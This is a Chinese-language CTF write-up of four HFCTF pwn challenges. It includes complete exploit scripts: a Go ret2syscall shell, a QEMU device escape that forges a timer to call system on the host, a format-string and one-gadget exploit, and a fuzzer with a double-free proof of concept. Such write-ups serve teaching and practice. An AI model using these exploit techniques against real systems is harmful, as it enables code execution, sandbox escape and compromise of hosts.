HFCTF
没空去结束了之后简单做了一下pwn
gogogo
go写的,不太会分析,首先运行起来,搜索 LET'S BEGIN TO PLAY A GUESS GAME IN HFCTF!
能找到 main_main
但是断点下来没有用,搜了一下一个go程序的启动过程
// The main goroutine.
func main() {
g := getg()
// Racectx of m0->g0 is used only as the parent of the main goroutine.
// It must not be used for anything else.
g.m.g0.racectx = 0
// Max stack size is 1 GB on 64-bit, 250 MB on 32-bit.
// Using decimal instead of binary GB and MB because
// they look nicer in the stack overflow failure message.
if goarch.PtrSize == 8 {
maxstacksize = 1000000000
} else {
maxstacksize = 250000000
}
// An upper limit for max stack size. Used to avoid random crashes
// after calling SetMaxStack and trying to allocate a stack that is too big,
// since stackalloc works with 32-bit sizes.
maxstackceiling = 2 * maxstacksize
// Allow newproc to start new Ms.
mainStarted = true
if GOARCH != "wasm" { // no threads on wasm yet, so no sysmon
systemstack(func() {
newm(sysmon, nil, -1)
})
}
// Lock the main goroutine onto this, the main OS thread,
// during initialization. Most programs won't care, but a few
// do require certain calls to be made by the main thread.
// Those can arrange for main.main to run in the main thread
// by calling runtime.LockOSThread during initialization
// to preserve the lock.
lockOSThread()
if g.m != &m0 {
throw("runtime.main not on m0")
}
// Record when the world started.
// Must be before doInit for tracing init.
runtimeInitTime = nanotime()
if runtimeInitTime == 0 {
throw("nanotime returning zero")
}
if debug.inittrace != 0 {
inittrace.id = getg().goid
inittrace.active = true
}
doInit(&runtime_inittask) // Must be before defer.
// Defer unlock so that runtime.Goexit during init does the unlock too.
needUnlock := true
defer func() {
if needUnlock {
unlockOSThread()
}
}()
gcenable()
main_init_done = make(chan bool)
if iscgo {
if _cgo_thread_start == nil {
throw("_cgo_thread_start missing")
}
if GOOS != "windows" {
if _cgo_setenv == nil {
throw("_cgo_setenv missing")
}
if _cgo_unsetenv == nil {
throw("_cgo_unsetenv missing")
}
}
if _cgo_notify_runtime_init_done == nil {
throw("_cgo_notify_runtime_init_done missing")
}
// Start the template thread in case we enter Go from
// a C-created thread and need to create a new thread.
startTemplateThread()
cgocall(_cgo_notify_runtime_init_done, nil)
}
doInit(&main_inittask)
// Disable init tracing after main init done to avoid overhead
// of collecting statistics in malloc and newproc
inittrace.active = false
close(main_init_done)
needUnlock = false
unlockOSThread()
if isarchive || islibrary {
// A program compiled with -buildmode=c-archive or c-shared
// has a main, but it is not executed.
return
}
fn := main_main // make an indirect call, as the linker doesn't know the address of the main package when laying down the runtime
fn()
if raceenabled {
racefini()
}
// Make racy client program work: if panicking on
// another goroutine at the same time as main returns,
// let the other goroutine finish printing the panic trace.
// Once it does, it will exit. See issues 3934 and 20018.
if atomic.Load(&runningPanicDefers) != 0 {
// Running deferred functions should not take long.
for c := 0; c < 1000; c++ {
if atomic.Load(&runningPanicDefers) == 0 {
break
}
Gosched()
}
}
if atomic.Load(&panicking) != 0 {
gopark(nil, nil, waitReasonPanicWait, traceEvGoStop, 1)
}
exit(0)
for {
var x *int32
*x = 0
}
}
于是决定去看一下 runtime.main
,然后就可以找到一个里面一堆 printf
的调用
runtime_startTemplateThread();
runtime_cgocall(error_code, v9);
LABEL_15:
runtime_doInit(error_code);
LOBYTE(off_580800) = 0;
v10 = runtime_closechan(error_codec);
v11 = 0;
runtime_unlockOSThread();
if ( !byte_58054C && !byte_58054E )
{
math_init(); // <--- 这里
if ( !off_5805AC || !off_5805AC )
{
if ( off_5805A4 )
runtime_gopark(error_codea, v10);
runtime_exit(0);
while ( 1 )
MEMORY[0] = 0;
}
v13 = 0LL;
runtime_mcall(error_codea);
}
v12 = 0;
(*v16)();
}
里面每一个printf都打印单个字符(所以搜那个字符串定位不到这个函数)
while ( (unsigned __int64)&v156 <= *(_QWORD *)(v0 + 16) )
runtime_morestack_noctxt();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
fmt_Fprintf();
然后输入1416925456就可以进入一个猜数字游戏
else if ( v2 != 1416925456 )
{
fmt_Fprintf();
fmt_Fprintf();
v67 = fmt_Fprintf();
v222 = &unk_49D7C0;
v223 = &off_4CFC10;
fmt_Fprintln(v67);
return;
}
go的题目多半都是溢出,在这个函数里搜索一下read,scanf等等相关内容可以注意到
.text:0000000000494AE2 lea rax, unk_49D900
.text:0000000000494AE9 mov ebx, 800h
.text:0000000000494AEE mov rcx, rbx
.text:0000000000494AF1 call runtime_makeslice
.text:0000000000494AF6 lea rbx, [rsp+4C0h+var_460]
.text:0000000000494AFB mov rax, qword ptr cs:unk_5514E0
.text:0000000000494B02 mov ecx, 800h <--- 栈溢出
.text:0000000000494B07 mov rdi, rcx
.text:0000000000494B0A call bufio__ptr_Reader_Read
.text:0000000000494B0F movzx edx, byte ptr [rsp+4C0h+var_460]
.text:0000000000494B14 cmp dl, 79h ; 'y'
.text:0000000000494B17 jz short loc_494B35
.text:0000000000494B19 cmp dl, 59h ; 'Y'
.text:0000000000494B1C jz short loc_494B35
.text:0000000000494B1E xchg ax, ax
.text:0000000000494B20 call runtime_arg
.text:0000000000494B25 mov rbp, [rsp+4C0h+var_8]
.text:0000000000494B2D add rsp, 4C0h
.text:0000000000494B34 retn
接下来就是怎么达到这里
.text:0000000000491E85 lea rcx, aDDDD ; "%d %d %d %d"
.text:0000000000491E8C mov edi, 0Bh
.text:0000000000491E91 mov r8d, 4
.text:0000000000491E97 mov r9, r8
.text:0000000000491E9A lea rax, off_4D0340
.text:0000000000491EA1 call fmt_Fscanf
依次输入四个数字就可以开始猜,然后搜索一下Bulls and Cows游戏,返回正确且位置正确的个数和正确但位置错误的个数,能写个简单的猜测算法(其实也不用,自己玩完再send payload就好了) 开graph view开一下,溢出点在EXIT的位置,输入EXIT选项之后就可以传payload
算法也很容易,先生成一个全部的可能选取集合,然后抽一个数输入,得到 bulls and cows
的值,将现在的输入和集合内的数进行比较,如果bull和cow都相同,就说明这个是可选项,反复操作,直到只剩下一个选项即可。
最后直接ret2syscall即可,exp如下
from ntpath import join
import readline
from pwn import *
import random
import math
# Bull and Cow game solver
class Solver:
ans_length = 4
candidates = []
def fill_candidates(self):
for i in range(10):
for j in range(10):
for k in range(10):
for l in range(10):
if i == j or i == k or i == l or j == k or j == l or k == l:
continue
self.candidates.append(str(i) + str(j) + str(k) + str(l))
def __init__(self):
self.fill_candidates()
# print(self.candidates)
def solve(self, sh):
while len(self.candidates): # still have candidates
# randomly pick a candidate
candidate = random.choice(self.candidates)
# split candidate into 4 digits
guess = candidate[0] + ' ' + candidate[1] + ' ' + candidate[2] + ' ' + candidate[3]
# send guess to server
sh.sendline(guess.encode())
# get response from server
response = sh.recvline().decode()
if response.find('WIN') != -1:
return guess
bulls = int(response[0])
cows = int(response[2])
new_candidates = []
for k in self.candidates:
b = 0
c = 0
for i in range(self.ans_length):
if k[i] == candidate[i]:
b += 1
for j in range(self.ans_length):
if k[i] == candidate[j]:
c += 1
c = c - b
if b == bulls and c == cows:
new_candidates.append(k)
self.candidates = new_candidates
log.info("{} {} {}".format(guess, ':', response))
log.info('Answer: {}'.format(self.candidates[0]))
sh = process('./gogogo')
sh.sendlineafter(b'NUMBER:', b'1416925456')
sh.recvuntil(b'GUESS\n')
solver = Solver()
solver.solve(sh)
time.sleep(1)
sh.sendline(b"EXIT")
time.sleep(1)
sh.sendline(b"4")
time.sleep(1)
'''
.text:000000000047CF00 call sub_45D5C0
.text:000000000047CF05 mov rdi, [rsp+arg_8] 0x10
.text:000000000047CF0A mov rsi, [rsp+arg_10] 0x18
.text:000000000047CF0F mov rdx, [rsp+arg_18] 0x20
.text:000000000047CF14 mov rax, [rsp+arg_0] 0x8
.text:000000000047CF19 syscall ; LINUX -
'''
payload = cyclic_metasploit(1120)
payload += p64(0x000000000045C900) # runtime.read
payload += p64(0x0000000000402e7b) # add rsp 0x30; nop; ret;
payload += p64(0x0) # fd
payload += p64(0x552A00) # bss
payload += p64(0x8) # count
payload += p64(0xc0ffee) # pop rax; ret;
payload += p64(0x000000000047CF00)
payload += p64(0x000000000047CF00)
payload += p64(0x000000000047CF00)
payload += p64(0x000000000047CF00)
payload += p64(0x3b) # sys_execve;
payload += p64(0x552A00) # bss
payload += p64(0x0) # rsi
payload += p64(0x0) # rdi
#gdb.attach(sh, 'b *0x000000000045C900')
sh.sendline(payload)
time.sleep(1)
sh.recvuntil(b'BYE~')
sh.sendline(b'/bin/sh\x00')
sh.interactive()
#sh.sendlineafter()
hfdev
这个感觉最麻烦的地方是没有DeviceState
的符号,但是应该很容易可以注意到在 hfdev_process
中
if ( (unsigned __int64)(unsigned __int16)result > *(_QWORD *)(a1 + 2672) )
LOWORD(result) = *(_QWORD *)(a1 + 2672);
v10 = (unsigned __int16)result;
result = 0LL;
do
{
*(_BYTE *)(a1 + result + 3720) ^= *(_BYTE *)(a1 + result + 2703);
++result;
}
while ( v10 >= (int)result );
这一部分的>=
很可能会导致一个byte的溢出,
接下来分析realize函数,注意到
v2 = g_malloc0(48LL);
timer_init_full(v2, 0, 1, 1, 0, (unsigned int)hfdev_func, (__int64)v1);
v1[563] = v2;
v1[563]
处存放了一个QEMUTimer,回调函数为 hfdev_func
然后
v3 = qemu_bh_new_full(hfdev_process, v1, "hfdev_process");
v1[561] = 1LL;
v1[564] = v3;
v1[564]
处存放了一个qemu bottom half,结构体如下
struct QEMUBH {
AioContext *ctx;
QEMUBHFunc *cb; // callback, 触发时调用
void *opaque;
QEMUBH *next;
bool scheduled;
bool idle;
bool deleted;
};
而
static gboolean
aio_ctx_dispatch(GSource *source,
GSourceFunc callback,
gpointer user_data)
{
AioContext *ctx = (AioContext *) source;
assert(callback == NULL);
aio_dispatch(ctx);
return true;
}
中 aio_dispatch
会调用 aio_bh_poll
,其中会调用 aio_bh_call
执行bottom half的callback
以及 hfdev_port_write
中
case 12LL:
qemu_bh_schedule(*((_QWORD *)a1 + 564));
break;
qemu_bh_schedule
会执行 aio_notify
,所以 case 12:
的时候会触发这个bh callback
v1[335] = 0LL;
memory_region_init_io(v1 + 300, v1, hfdev_ioport_ops, v1, "hfdev-pmio", 32LL);
return pci_register_bar(a1, 0LL, 1LL, v1 + 300);
然后就是init pmio,大小32 bytes。接下来分析 hfdev_process
函数
case 0x30:
result = *(unsigned __int16 *)&a1->pad3[41];
v11 = *(unsigned __int16 *)&a1->pad3[43];
if ( (unsigned __int16)result <= 0x100u && (unsigned __int16)v11 <= 0x100u )
{
v12 = *(_QWORD *)&a1->pad3[1832] == 0LL;
*(_QWORD *)&a1->pad3[24] = result;
*(_QWORD *)&a1->pad3[1840] = (char *)v1 + v11;
if ( !v12 )
return timer_mod(a1->timer, *(_QWORD *)&a1->pad3[32]);
}
break;
在 case 0x30:
的时候会调用timer_mod
,
/**
* timer_mod:
* @ts: the timer
* @expire_time: the expire time in the units associated with the timer
*
* Modify a timer to expiry at @expire_time, taking into
* account the scale associated with the timer.
*
* This function is thread-safe but the timer and its timer list must not be
* freed while this function is running.
*/
void timer_mod(QEMUTimer *ts, int64_t expire_timer);
可以知道这会触发之前的timer,也就是会接着调用hfdev_func
,其中会修改state->pad3[1832]
,所以根据v12
的值,只能调用一次,同时可以注意到,hfdev_func
中
v1 = *(_QWORD *)&a1->pad3[24];
*(_QWORD *)&a1->pad3[1832] = 0LL;
if ( v1 <= 0x100 )
{
memcpy(&a1->pad3[*(_QWORD *)&a1->pad3[16] + 1064], *(const void **)&a1->pad3[1840], v1);
result = *(_QWORD *)&a1->pad3[24];
*(_QWORD *)&a1->pad3[16] += result;
}
a1>pad3[16]
不会被置0,所以如果能够多次触发,就能实现越界读写。注意到
case 0x10:
v9 = *(_WORD *)&a1->pad3[43];
result = *(unsigned __int16 *)&a1->pad3[45];
if ( v9 == 8706 )
{
v13 = 512;
if ( (unsigned __int16)result <= 0x200u )
v13 = *(unsigned __int16 *)&a1->pad3[45];
if ( (_WORD)result )
{
v14 = (unsigned __int16)v13;
v15 = a1->pad3[41];
v16 = a1->pad3[42];
result = (__int64)&a1->pad3[47];
v17 = &a1->pad3[v13 - 1 + 48];
do
{
v18 = *(_BYTE *)result++;
*(_BYTE *)(result + 1016) = v16 ^ (v15 + v18);
*(_QWORD *)&a1->pad3[16] = v14;
}
while ( v17 != (char *)result );
}
}
可以先让a1->pad3[16]=512
,第一次触发timer时,a1->pad3[16]+=0x100
,也就是a1->pad3[16]=768
,而上面1 byte溢出的溢出地址就是由a1->pad3[16]
控制的,这个时候可以溢出到
a1->pad3[1832]
也就是控制timer是否能够触发的标志位,就能实现多次触发时钟。因为能够多次触发时钟,所以我们可以获得一个很大范围的数据的读取,再看hfdev_process
中case 0x20:
的部分(这里还原了一些符号)
case 0x20:
v7 = *(unsigned __int16 *)&a1->control.field_9[2];
copy_cursor = a1->copy_cursor;
if ( v7 > copy_cursor )
v7 = (unsigned __int16)copy_cursor;
return cpu_physical_memory_rw(*(_QWORD *)&a1->control.fn1, (__int64)a1->pad3, v7, 1u);
这里可以让我们把数据读取回一个给定的物理地址,而v7
是我们可控的长度
*(_QWORD *)&a1->pad3[1840] = (char *)v1 + v11;
对比这个*(_QWORD *)&a1->pad3[1840]
,就是timer callback中的src地址,我们可以泄漏这个地址(v1 + v11,符号化之后即为hfdev_state中控制结构体的起始地址加上第二个参数)。这个地址在堆区,可以先泄漏这个地址,然后计算出timer的地址。虽然在case 0x20:
对v11
的大小做了检查,但是由于之前增加了cursor
导致我们使用hfdev_process
和hfdev_func
都能够访问更大的范围,所以在触发timer,callback还未执行前,可以重新利用0x2022
功能修改掉hfdev_func
中的复制目标,正好,在hfdev_port_write
的case 0x10:
中就有能够修改callback触发延迟的功能。
case 10LL:
a1->time = qemu_clock_get_ns(1LL) + 100000000 * a3;
break;
这样我们就可以在触发前利用溢出,将bh->cb
或者timer->cb
复制到timer
(这时的cursor指向timer)上,接下来就可以计算pie偏移,程序基址,system plt等等。
然后根据得到的地址,我们可以伪造一个timer,因为我们之前已经得到了发送的control结构的地址,而这个结构中有一块很大的buffer,足够构造一个fake timer (或者fake bh也可以) 将这个timer的callback设置为system
,并且opaque设置为命令的地址,这样该指针就会被rdi寄存器传递,然后触发timer即可(注意fake timer也要有timer_list)完整exp如下。
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#include <sys/io.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT) //4096
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
#define PMIO_BASE 0x000000000000c040
struct Control
{
char switcher;
__attribute__((packed)) __attribute__((aligned(1))) uint16_t fn1;
__attribute__((packed)) __attribute__((aligned(1))) uint16_t fn2;
__attribute__((packed)) __attribute__((aligned(1))) uint16_t fn3;
char field_9[1017];
};
int fd;
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
uint64_t pmio_read(uint64_t port)
{
uint64_t val;
val = inw(PMIO_BASE + port);
return val;
}
void pmio_write(uint64_t port, uint64_t val)
{
outw(val, PMIO_BASE + port);
}
void trigger_process(void)
{
pmio_write(12, 0);
}
int main(int argc, char **argv)
{
int ret = 0;
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0)
{
perror("open");
exit(1);
}
iopl(3);
struct Control *control = (struct Control *)malloc(sizeof(struct Control));
uint32_t control_paddr = gva_to_gpa(control);
printf("[*] control_paddr: 0x%x\n", control_paddr);
// set addr
pmio_write(2, control_paddr & 0xffff);
pmio_write(4, (control_paddr >> 16) & 0xffff);
uint64_t timer_enabled = pmio_read(6);
printf("[*] timer_enabled: 0x%llx\n", timer_enabled);
uint64_t copy_cursor = pmio_read(8);
printf("[*] copy_cursor: 0x%llx\n", copy_cursor);
// set copy control len to 0x400
pmio_write(6, 0x400);
// now set cursor to 0x200
control->switcher = 0x10;
control->fn1 = 0;
control->fn2 = 0x2202;
control->fn3 = 0x200;
trigger_process();
sleep(1);
printf("[*] trigger timer\n");
// now trigger timer, cursor should be 0x300 after timer callback
memset(control, 0, sizeof(*control));
control->switcher = 0x30;
control->fn1 = 0x100;
control->fn2 = 0;
trigger_process();
sleep(1);
// check timer_enabled
timer_enabled = pmio_read(6);
assert(timer_enabled == 0);
printf("[*] timer_enabled: 0x%llx\n", timer_enabled);
copy_cursor = pmio_read(8);
printf("[*] copy_cursor: 0x%llx\n", copy_cursor);
/*
do
{
a1->pad3[result] ^= *((_BYTE *)&a1->control.fn3 + result);
++result;
}
while ( v10 >= (int)result );
// v10 = 0x300 now, and timer_enabled is located at a1->pad3[0x300]
// so we set field_9 + 0x300 to 0x1, and trigger hfdev_process (case 0x10)
// then we can flip the timer_enabled bit and trigger timer callback again.
*/
printf("[*] flip timer_enabled\n");
memset(control, 0, sizeof(*control));
control->switcher = 0x10;
control->fn1 = 0;
control->fn2 = 0x2022;
control->fn3 = 0x300;
control->field_9[0x300] = 0x1;
trigger_process();
printf("[*] waiting...\n");
sleep(3);
// check timer_enabled
timer_enabled = pmio_read(6);
printf("[*] timer_enabled: 0x%llx\n", timer_enabled);
printf("[+] enable timer again!\n");
copy_cursor = pmio_read(8);
printf("[*] copy_cursor: 0x%llx\n", copy_cursor);
sleep(1);
// trigger timer again
printf("[*] trigger timer again\n");
memset(control, 0, sizeof(*control));
control->switcher = 0x30;
control->fn1 = 0x10;
control->fn2 = 0x0;
trigger_process();
for (int i = 0; i < 3; i++)
{
printf("[*] waiting...\n");
sleep(3);
}
// set copy src to struct Control
memset(control, 0, sizeof(*control));
control->switcher = 0x30;
control->fn1 = 0x0;
control->fn2 = 0x0;
trigger_process();
sleep(1);
timer_enabled = pmio_read(6);
printf("[*] timer_enabled: 0x%llx\n", timer_enabled);
copy_cursor = pmio_read(8);
printf("[*] copy_cursor: 0x%llx\n", copy_cursor);
// leak timer address
char *buf = (char *)malloc(0x1000);
uint32_t buf_paddr = gva_to_gpa(buf);
printf("[*] buf: 0x%llx buf_paddr: 0x%x\n", buf, buf_paddr);
memset(control, 0, sizeof(*control));
control->switcher = 0x20;
*((uint32_t *)&(control->fn1)) = buf_paddr;
*(uint16_t *)&control->field_9[2] = 0x310;
trigger_process();
sleep(5);
// char *buf = (char *)malloc(0x1000);
// uint32_t buf_paddr = gva_to_gpa(buf);
uint64_t control_addr = *(uint64_t *)&buf[0x308];
printf("[+] control_addr: 0x%llx\n", control_addr);
uint64_t timer = control_addr + 0x12b8;
uint64_t bh = control_addr + 0x12f8;
uint64_t timer_list = control_addr - 0x1110b98;
printf("[+] timer: 0x%llx bh: 0x%llx timer_list: 0x%llx\n", timer, bh, timer_list);
// flip timer_enabled
printf("[*] flip timer_enabled\n");
memset(control, 0, sizeof(*control));
control->switcher = 0x10;
control->fn1 = 0;
control->fn2 = 0x2022;
control->fn3 = 0x300;
control->field_9[0x300] = 0x1;
trigger_process();
printf("[*] waiting...\n");
sleep(3);
// check timer_enabled
timer_enabled = pmio_read(6);
assert(timer_enabled > 0);
printf("[*] timer_enabled: 0x%llx\n", timer_enabled);
// set timer delay
pmio_write(10, 0x150);
sleep(1);
// trigger timer again
printf("[*] trigger timer again\n");
memset(control, 0, sizeof(*control));
control->switcher = 0x30;
control->fn1 = 0x8; // cursor = 0x318
control->fn2 = 0x0; // this will overwrite timer pointer
trigger_process(); // so don't trigger timer until construct a fake timer
sleep(1);
// overwrite copy src to bh
printf("[*] overwrite copy src to timer\n");
memset(control, 0, sizeof(*control));
control->switcher = 0x10;
control->fn1 = 0x0;
control->fn2 = 0x2022;
control->fn3 = 0x30f; // don't overflow to bh
*(uint64_t *)&control->field_9[0x308] = ((bh + 0x10) ^ control_addr);
trigger_process();
sleep(1);
printf("[*] waiting...");
for (int i = 0; i < 12; ++i)
{
printf(".");
sleep(3);
}
printf("\n");
printf("[*] copy timer\n");
memset(buf, 0, 0x1000);
memset(control, 0, sizeof(*control));
control->switcher = 0x20;
*((uint32_t *)&(control->fn1)) = buf_paddr;
*(uint16_t *)&control->field_9[2] = 0x318;
trigger_process();
sleep(5);
uint64_t hfdev_process = *(uint64_t *)&buf[0x310];
uint64_t hfdev_func = hfdev_process + 0x1c0;
uint64_t base_addr = hfdev_process - 0xb0fd0;
uint64_t slide = hfdev_process - 0x380fd0;
uint64_t system_plt = slide + 0x2d6610;
printf("[+] hfdev_process: 0x%llx\n", hfdev_process);
printf("[+] hfdev_func: 0x%llx\n", hfdev_func);
printf("[+] base_addr: 0x%llx\n", base_addr);
printf("[+] slide: 0x%llx\n", slide);
printf("[+] system_plt: 0x%llx\n", system_plt);
// flip timer_enabled
printf("[*] flip timer_enabled\n");
memset(control, 0, sizeof(*control));
control->switcher = 0x10;
control->fn1 = 0;
control->fn2 = 0x2022;
control->fn3 = 0x300;
control->field_9[0x300] = 0x1;
trigger_process();
printf("[*] waiting...\n");
printf("[*] overwrite timer to fake timer\n");
memset(control, 0, sizeof(*control));
control->switcher = 0x10;
control->fn1 = 0x0;
control->fn2 = 0x2022;
control->fn3 = 0x317; // don't overflow to bh
*(uint64_t *)&control->field_9[0x310] = ((control_addr + 0x10) ^ hfdev_process);
trigger_process();
sleep(1);
struct FakeTimer
{
int64_t expire_time;
void *timer_list;
void *cb;
void *opaque;
void *next;
int attributes;
int scale;
};
struct FakeTimer ft = {
.expire_time = 0x100,
.timer_list = timer_list,
.cb = system_plt,
.opaque = 0x0,
.next = 0x0,
.attributes = 0x0,
.scale = 0x0,
};
pmio_write(10, 0x10);
// copy fake timer to control
uintptr_t ftaddr = (uintptr_t)(((uint64_t)control) + 0x10);
memcpy((void *)ftaddr, &ft, sizeof(ft));
struct FakeTimer *fake_timer = (struct FakeTimer *)((((uint64_t)control) + 0x10));
fake_timer->opaque = (void *)(control_addr + 0x100);
printf("[*] set fake_timer->opaque: 0x%llx\n", fake_timer->opaque);
strcpy((char *)(((uint64_t)control) + 0x100), "ls -al");
sleep(1);
// trigger timer again
printf("[*] trigger timer again\n");
control->switcher = 0x30;
control->fn1 = 0x8;
control->fn2 = 0x0;
trigger_process();
sleep(1);
while(1) { }
return 0;
}
总体思路不难,但细节需要考虑一下,如果缺少对qemu方面的基本了解的话,逆向可能会有点麻烦。
babygame
确实是最简单的,第一个栈溢出泄漏一个栈地址,然后用字符串格式化泄漏canary和libc,改返回地址到main
,再次栈溢出跳转one gadget即可。
from pwn import *
arr = [0, 0, 2, 1, 2, 0, 1, 0, 0, 1, 2, 2, 0, 2, 1, 1, 1, 2, 1, 0, 0, 0, 1, 0, 1, 2, 2, 0, 1, 2, 2, 0, 1, 1, 2, 1, 1, 2, 1, 0, 0, 2, 1, 0, 2, 2, 1, 2, 1, 2, 1, 1, 1, 1, 0, 0, 0, 1, 2, 0, 1, 1, 1, 1, 0, 2, 2, 0, 1, 2, 0, 0, 2, 1, 0, 0, 0, 0, 1, 1, 2, 1, 1, 0, 1, 2, 0, 1, 0, 2, 0, 0, 0, 0, 1, 2, 2, 0, 2, 2, ]
sh = process('./babygame')
libc = ELF('./libc-2.31.so')
payload1 = b"A"*(256) + b"A"*0x8 + b"A"*0x8
sh.recvuntil(b"Please input your name:")
sh.send(payload1)
sh.recvuntil(b'A'*(256+0x8+0x8))
stackaddr = u64(sh.recv(6).ljust(8, b'\x00'))
target = stackaddr - 0x218
log.success("stackaddr: " + hex(stackaddr))
for i in arr:
sh.recvuntil(b":")
sh.sendline(str(i).encode())
sh.recvuntil(b"you.\n")
sh.sendline(b"%13$p%5219x%10$hn%27$paaa%29$paa"+p64(target)+p64(target))
log.info("back to main if we are lucky")
r1 = sh.recv(18)
canary = int(r1, 16)
r1 = sh.recvuntil(b'0x')
r1 = "0x"+sh.recv(12).decode()
# print(r1)
atoiaddr = int(r1, 16)
libcbase = atoiaddr - 0x445f4
r1 = sh.recvuntil(b'aaa')
r1 = sh.recv(14)
paddr = int(r1, 16)
programbase = paddr - 0x12ef
onegadget = libcbase + 0xe3b31
log.success("canary: {}".format(hex(canary)))
log.success("atoiaddr: {}".format(hex(atoiaddr)))
log.success("libcbase: {}".format(hex(libcbase)))
log.success("programbase: {}".format(hex(programbase)))
log.success("onegadget: {}".format(hex(onegadget)))
payload = b"AAAA\x00\x00\x00\x00" + 35 * p64(canary)
payload += b'AAAAAAAA'
payload += p64(onegadget)
time.sleep(1)
sh.send(payload)
time.sleep(1)
sh.sendline(b'0')
sh.interactive()
vdq
rust写的,不太懂,ida分析出来非常复杂,对rust字符串的分析稍微有点问题(因为字符串结尾的问题),经过逆向分析,程序需要用["op1", "op2", "op3"]\n$
这样的方式输入,没有去除符号,所以能直接确定op的类型,有add,remove,view,append,archive,并且add,append需要数据输入。
因为输入很简单,但整个程序分析起来很复杂,先选择fuzz一下,脚本如下
import random
from subprocess import PIPE, STDOUT
from psutil import Popen
from pwn import *
import string
op = ["\"Add\"", "\"Remove\"", "\"Append\"", "\"View\"", "\"Archive\""]
while True:
opcnt = random.randint(0, 30)
oplist = "["
inputline = ""
linecnt = 0
for i in range(opcnt):
opindex = random.randint(0, len(op) - 1)
oplist += op[opindex]
if opindex == 0 or opindex == 2:
inputline += str(cyclic_metasploit(random.randint(0, 100)).decode())+"\n"
if i != opcnt - 1:
oplist += ", "
else:
oplist += "]"
oplist += "\n$\n"
# write to input file
with open("input", "w") as f:
f.write(oplist)
f.write(inputline)
cmd = 'cat input | RUST_BACKTRACE=1 ./vdq'
p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True)
output, err = p.communicate()
if "Aborted" in output.decode():
print(output.decode())
break
很快找到了一个double free,简化一下获得的poc
["Add", "Add", "Remove", "Archive", "Add", "Add", "Add", "View", "Remove", "Remove", "Remove"]
$
Aa0Aa1Aa2Aa3Aa
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7A
调试定位崩溃位置
gef➤ bt
#0 0x00007ffff7a22e87 in raise () from ./libc-2.27.so
#1 0x00007ffff7a247f1 in abort () from ./libc-2.27.so
#2 0x00007ffff7a6d837 in ?? () from ./libc-2.27.so
#3 0x00007ffff7a748ba in ?? () from ./libc-2.27.so
#4 0x00007ffff7a7c0ed in free () from ./libc-2.27.so
#5 0x000055555556d88e in alloc::alloc::dealloc (ptr=0x555555a38720, layout=...) at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/alloc/src/alloc.rs:92
#6 0x000055555556e07d in alloc::alloc::{{impl}}::dealloc (self=0x555555a38440, ptr=..., layout=...) at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/alloc/src/alloc.rs:225
#7 0x00005555555780c7 in alloc::raw_vec::{{impl}}::drop<u8,alloc::alloc::Global> (self=0x555555a38440) at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/alloc/src/raw_vec.rs:504
#8 0x000055555556bc3f in core::ptr::drop_in_place<alloc::raw_vec::RawVec<u8, alloc::alloc::Global>> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#9 0x000055555556be45 in core::ptr::drop_in_place<alloc::vec::Vec<u8>> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#10 0x0000555555567596 in core::ptr::drop_in_place<vdq::Note> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#11 0x00005555555671d8 in core::ptr::drop_in_place<alloc::boxed::Box<vdq::Note>> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#12 0x00005555555674a7 in core::ptr::drop_in_place<[alloc::boxed::Box<vdq::Note>]> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#13 0x00005555555678eb in alloc::collections::vec_deque::{{impl}}::drop<alloc::boxed::Box<vdq::Note>> (self=0x7fffffffd860) at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/alloc/src/collections/vec_deque.rs:171
#14 0x0000555555567512 in core::ptr::drop_in_place<alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>>> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#15 0x00005555555622d9 in vdq::handle_opr_lst (opr_lst=...) at src/main.rs:106
#16 0x00005555555625cb in vdq::main () at src/main.rs:111
